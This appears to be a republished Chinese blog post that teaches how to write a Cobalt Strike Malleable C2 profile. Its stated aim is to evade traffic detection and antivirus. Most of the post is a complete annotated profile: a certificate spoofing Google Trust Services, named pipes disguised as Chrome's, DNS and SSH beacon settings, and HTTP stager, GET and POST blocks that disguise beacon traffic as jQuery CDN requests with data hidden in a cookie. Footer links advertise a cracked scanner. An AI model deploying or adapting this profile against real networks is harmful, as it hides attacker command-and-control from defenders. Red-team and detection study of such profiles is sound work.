CobaltSrtike Malleable C2 Profile编写

Posted NowSec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CobaltSrtike Malleable C2 Profile编写相关的知识,希望对你有一定的参考价值。


什么是 Malleable C2 Profile

Malleable C2 Profile是一个可以控制CobaltStrike流量特征的文件,可以通过修改配置文件来改变流量特征,从而躲避各种流量检测设备及防病毒系统

调用方法

./teamserver [Teamserver_IP] [Passwd] [C2_Path]# example./teamserver 127.0.0.1 NowSec666 C2Profile/C2.profile

检查方法

使用c2lint检查编写的Profile文件是否符合CobaltStrike要求

./c2lint C2_Path

Profile包含内容

global optionshttps-certificatehttp-get    cliet        metadata    server        output        http-post    client        metadata    server        output
http-stager

Profile配置示例

# 全局配置set sample_name "NowSec_C2_Profiel";set sleeptime "1200000";  # 心跳时间120秒,单位毫秒set jitter "45"; # 抖动值,单位百分比,参考sleeptime值进行抖动
set data_jitter "83"; # Beacon项TeamServer发送http-get、http-post数据时采用随机长度,但最长为设置长度
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/90.0.4430.72 Safari/537.36";  # Win10 Chrome UserAgent 用于模拟正常用户请求
# https证书配置-CobaltStrike自签名证书# 这部分配置需要与生成的cobaltstrike.store中的配置一致https-certificate{    set C "US";  #  Country 国家    set CN "GTS CA 1O1";  # Common Name域名    set O "Google Trust Service"; # Organization Name 组织名称    set OU "certificate Department";  # Organization Unit Name 组织单元名称    set validity "63"; # 证书失效天数}

# TCP Beacon配置set tcp_port "12580"; # TCP默认端口set tcp_frame_header "\\x80"; # 该配置是在TCP信息前追加特定字符
# SMB Beacon配置set pipename "mojo.5688.8052.183894939787088877##"; # 普通Chrome命名管道set pipename "mojo.5688.8052.35780273329370473##"; # 普通Chrome命名管道set smb_frame_header "\\x80"; # 该配置实在smb信息前追加的特定字符
# DNS Beacon配置dns-beacon {    set dns_idle "8.8.8.8"; # Beacon不用时指定到的dns地址    set dns_max_txt "252"; # txt最大传输长度    set dns_sleep "0"; # 每个单独dns请求前强制睡眠时间    set dns_ttl "5"; # dns解析在服务器留存时间    set maxdns "255"; # 通过DNS上传数据时,最大主机名长度    set dns_stager_prepend ".resources.123456."; # 将字符串放在通过DNS TXT记录交付的编码有效负载阶段之前    set dns_stager_subhost ".feeds.123456."; # dns txt记录使用的子域
    set beacon "a.bc.";    set get_A "b.la.";    set get_AAAA "c.4a.";    set get_TXT "d.tx.";    set put_metadata "e.md.";    set put_output "f.po.";    set ns_response "zero";}
# 不同DNS通道说明# mode dns # 是DNS A记录数据通道# mode dns6 # 是DNS AAAA记录数据通道# mode dns-txt 是DNS TXT记录数据通道,DNS TXT记录是莫热门的数据通道

# SSH Beacon# 使用SSH协议,进行P2P通信set ssh_banner "OpenSSH_7.4 Debian (proticol 2.0)"; # 配置SSH Beacon 的bannerset ssh_pipename "wkssvc##"; # 配置ssh通信命名管道
# beacon是通过stager下载到内存中去的。在beacon注入目标内存之前,http-get和http-post都不会生效。你可以自己定义stager下载stage的行为。http-stager {    # http-stargruri配置    set uri_x86 "/jquery-3.3.1.slim.min.js"; # 32位系统http beacon访问路径    set uri_x64 "/jquery-3.3.2.slim.min.js"; # 64位系统http beacon访问路径
    # server配置    server {        # header结构        # header "类型" "类型值";        header "Server" "MicroSoft-IIS/8.0";        header "Cache-Control" "max-age=0, no=cache";        header "Connection" "Keep-alive";        header "Content-Type" "application/javascript; charset=utf-8";
        output {            prepend "Jquery Code"; # 前置字符串            append "Jqery end COde"; # 结尾字符串            print; # 将数据存在body中        }    }
    # Clietn配置    client {        header "Accept" "text/html,appliction/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";        header "Accept-Language" "en-US,en;q=0.5";        header "Referer" "http://code.jquery.com/";        header "Accept-Encodeing" "gzip, default";    }}
http-get {    set uri "/jquery-3.3.1.min.js"; # 配置客户端请求URI    set verb "GET"; # 配置客户端请求方式
    client {        header "Accept" "text/html,appliction/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";        header "Referer" "http://code.jquery.com/";        header "Accept-Encodeing" "gzip, default";
        metadata {            base64url;            prepend "__cfduid=";            header "Cookie";        }    }
    server {        header "Server" "NetDNA-cache/2.2";        header "Cache-Control" "max-age=0, no-cache";        header "Pragma" "no-cache";        header "Connection" "keep-alive";        header "Content-Type" "application/javascript; charset=utf-8";
        output {            mask; # xor异或加密            base64url; # base64编码后,数据放入url中                        # 当出现两个prepend时,会先执行第二个,然后执行第一个            prepend "Jquery Stop Code"; # 前置字符串            prepend "Jquery Start Code"; # 前置字符串            append "Jqery end Code"; # 结尾字符串            print; # 将数据存在body中        }    }}
http-post {    set uri "/jquery-3.3.1.min.js";    set verb "POST";
    client {        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";        header "Referer" "http://code.jquery.com/";        header "Accept-Encoding" "gzip, deflate";
        id {            mask;            base64url;            parameter "__cfduid";        }
        output {            mask;            base64url;            print;        }    }

    server {        header "Server" "NetDNA-cache/2.2";        header "Cache-Control" "max-age=0, no-cache";        header "Pragma" "no-cache";        header "Connection" "keep-alive";        header "Content-Type" "application/javascript; charset=utf-8";
        output {            mask; # xor异或加密            base64url; # base64编码后,数据放入url中
            prepend "Jquery Code"; # 前置字符串            append "Jqery end COde"; # 结尾字符串            print; # 将数据存在body中        }    }}

数据转换

方法解释
base64base64方式编码
base64urlbase64编码后数据可放入url中
maskxor异或加密
netbiosSMB 传输过程中针对主机名的编码方式(NetBIOS编码‘a’)
netbiosuSMB 传输过程中针对主机名的编码方式(NetBIOS编码‘A’)

终止语句

方法解释
header "Cookie"将数据存储在http头Cookie字段中
parameter "key"将数据存储在URL中
print将数据存储在body中
uri-append将数据附加在URL中

参考文献

1、深入研究cobalt strike malleable C2配置文件

    https://xz.aliyun.com/t/2796

   2、参考示例C2文件

    https://github.com/threatexpress/malleable-c2

加入我的星球

下方查看历史文章

VulnHub之DC-1

VulnHub之DC-2

VulnHub之DC-3

VulnHub之DC-4

VulnHub之MuzzyBox

【工具分享】AWVS 12 汉化破解版

通达OA任意上传&文件包含漏洞复现

扫描二维码

获取更多精彩

NowSec

以上是关于CobaltSrtike Malleable C2 Profile编写的主要内容,如果未能解决你的问题,请参考以下文章

C/C++ ceil 函数

C/C++ floor 函数

C语言数组问题?

关于c++/c

C语言 extern “C”

使用 MetroWerks C/C++ 开发的 C/C++ 资源